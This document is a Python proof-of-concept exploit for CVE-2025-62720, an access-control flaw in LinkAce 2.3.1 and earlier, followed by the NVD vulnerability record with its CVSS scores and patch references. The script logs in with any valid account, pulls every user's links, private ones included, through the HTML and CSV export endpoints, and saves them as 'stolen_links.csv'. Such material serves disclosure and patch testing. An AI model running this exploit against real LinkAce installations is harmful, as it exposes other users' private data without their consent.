CVE-2025-62720

import requests import json # CVE-2025-62720 PoC - LinkAce Access Control Bypass # Target: LinkAce <= 2.3.1 # Attack: Authenticated user can export all links including private ones base_url = "http://target-host:8100" # Step 1: Login with any valid user account login_url = f"{base_url}/api/auth/login" login_data = { "email": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) token = response.json().get('access_token') # Step 2: Export all links (bypass access control) # The export function does not filter by ownership headers = {"Authorization": f"Bearer {token}"} # Export as HTML html_export_url = f"{base_url}/api/export/links/html" html_response = session.get(html_export_url, headers=headers) print(f"HTML Export Status: {html_response.status_code}") print(f"Contains private links: {'Private Link' in html_response.text}") # Export as CSV csv_export_url = f"{base_url}/api/export/links/csv" csv_response = session.get(csv_export_url, headers=headers) print(f"CSV Export Status: {csv_response.status_code}") # Step 3: Parse and save stolen data if csv_response.status_code == 200: with open('stolen_links.csv', 'w') as f: f.write(csv_response.text) print("All links exported successfully - Access Control Bypassed!")

{"cve": {"id": "CVE-2025-62720", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.973", "lastModified": "2025-11-10T19:57:02.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. Versions 2.3.1 and below allow any authenticated user to export the entire database of links from all users in the system, including private links that should only be accessible to their owners. The HTML and CSV export functions in the ExportController class retrieve all links without applying any ownership or visibility filtering, effectively bypassing all access controls implemented elsewhere in the application. This issue is fixed in version 2.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.0", "matchCriteriaId": "68ED0A13-FFAB-4927-A526-E51A4CA1B2BC"}]}]}], "references": [{"url": "https://github.com/Kovah/LinkAce/commit/0ba49dba5176db390999de1f90b9d743a4aedc24", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Kovah/LinkAce/releases/tag/v2.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-cqxv-6v28-2f2h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-cqxv-6v28-2f2h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}